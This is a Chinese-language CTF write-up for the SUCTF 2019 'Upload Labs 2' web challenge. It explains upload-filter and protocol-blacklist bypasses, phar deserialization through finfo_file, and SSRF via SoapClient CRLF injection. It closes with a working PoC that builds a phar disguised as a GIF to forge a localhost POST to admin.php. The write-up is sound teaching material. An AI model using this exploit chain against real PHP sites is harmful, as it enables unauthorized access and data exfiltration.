suctf2019 的题目
buuoj上的环境:https://buuoj.cn/challenges#[SUCTF 2019]Upload Labs 2
源码下载：https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2

首先是一个文件上传，有三点限制

  • 后缀只能是gif,jpeg,jpg,png
  • 检查了MIME类型，抓包改下即可
  • 文件内容不能出现<?，但是限制的很不严谨
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function check(){
       $data = file_get_contents($this->file_name);
       if (mb_strpos($data, "<?") !== FALSE) {
           die("&lt;? in contents!");
       }
   }

用< ?就可以绕过

然后有一个查看上传文件类型的功能

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if (isset($_POST["submit"]) && isset($_POST["url"])) {
    //这里限制了各种协议
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        //实例化了File类
        $file = new File($file_path);
        //调用getMIME()来获取文件类型
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}

跟进到File类和getMIME()看看

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<?php
include 'config.php';

class File{

    public $file_name;
    public $type;
    public $func = "Check";

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

    function __toString(){
        return $this->type;
    }

}

class Check{

    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

这里注意两个点后面会用到:

  • File类被实例化
  • 调用了finfo_file函数

先去看看admin.php

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include 'config.php';

class Ad{

    public $ip;
    public $port;

    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

        $this->ip = $ip;
        $this->port = $port;

        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }

    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __destruct(){
        getFlag($this->ip, $this->port);
        //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
    }
}

//remote_addr无法伪造，只能是ssrf
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        
        $ip = $_POST['ip'];     //你用来获取flag的服务器ip
        $port = $_POST['port']; //你用来获取flag的服务器端口

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
else {
    echo "You r not admin!";
}

这里需要一个ssrf，然后提交一些参数就可以在公网服务器上收到flag
那么如何才能有ssrf呢？回到刚才的finfo_file上,看一看这个函数的c源码

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case FILEINFO_MODE_FILE:
		{
			/* determine if the file is a local file or remote URL */
			const char *tmp2;
			php_stream_wrapper *wrap;
			php_stream_statbuf ssb;

			if (buffer == NULL || !*buffer) {
				php_error_docref(NULL, E_WARNING, "Empty filename or path");
				RETVAL_FALSE;
				goto clean;
			}
			if (CHECK_NULL_PATH(buffer, buffer_len)) {
				php_error_docref(NULL, E_WARNING, "Invalid path");
				RETVAL_FALSE;
				goto clean;
			}

			wrap = php_stream_locate_url_wrapper(buffer, &tmp2, 0);

其中调用了php_stream_locate_url_wrapper这个函数
在https://blog.zsxsoft.com/post/38 中讲了，使用了php_stream_locate_url_wrapper的php函数，都会存在phar反序列化的问题
phar反序列化如何触发一个ssrf呢，这里可以利用到SoapClient的CRLF注入漏洞(https://skysec.top/2018/08/17/SOAP及相关漏洞研究/#SOAP漏洞利用之CRLF与SSRF（二）)

正好File类被实例化了，也就是说我们可以给File类写一个__construct方法然后用phar反序列化去执行它

但这还有一个问题，那就是前面对协议的过滤

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if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
       die("Go away!");
}

url的开头不能以phar开头,但可以用php伪协议绕过

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php://filter/resource=phar://

最后附上官方的poc

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<?php
class File{
    public $file_name;
    public $type;
    public $func = "SoapClient";
    function __construct($file_name){
        $this->file_name = $file_name;
    }
}
$target = 'http://127.0.0.1/admin.php';
// $target = "http://106.14.153.173:2015";
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=xxx.xxx.xxx.xxx&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=xxx.xxx.xxx.xxx&port=xxxx';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    );
// $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri"      => "aaab"));
$arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri"      => "aaab"));
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "< language='php'>__HALT_COMPILER();</>"); //设置stub
$o = new File($arr);
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); 
    //签名自动计算
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>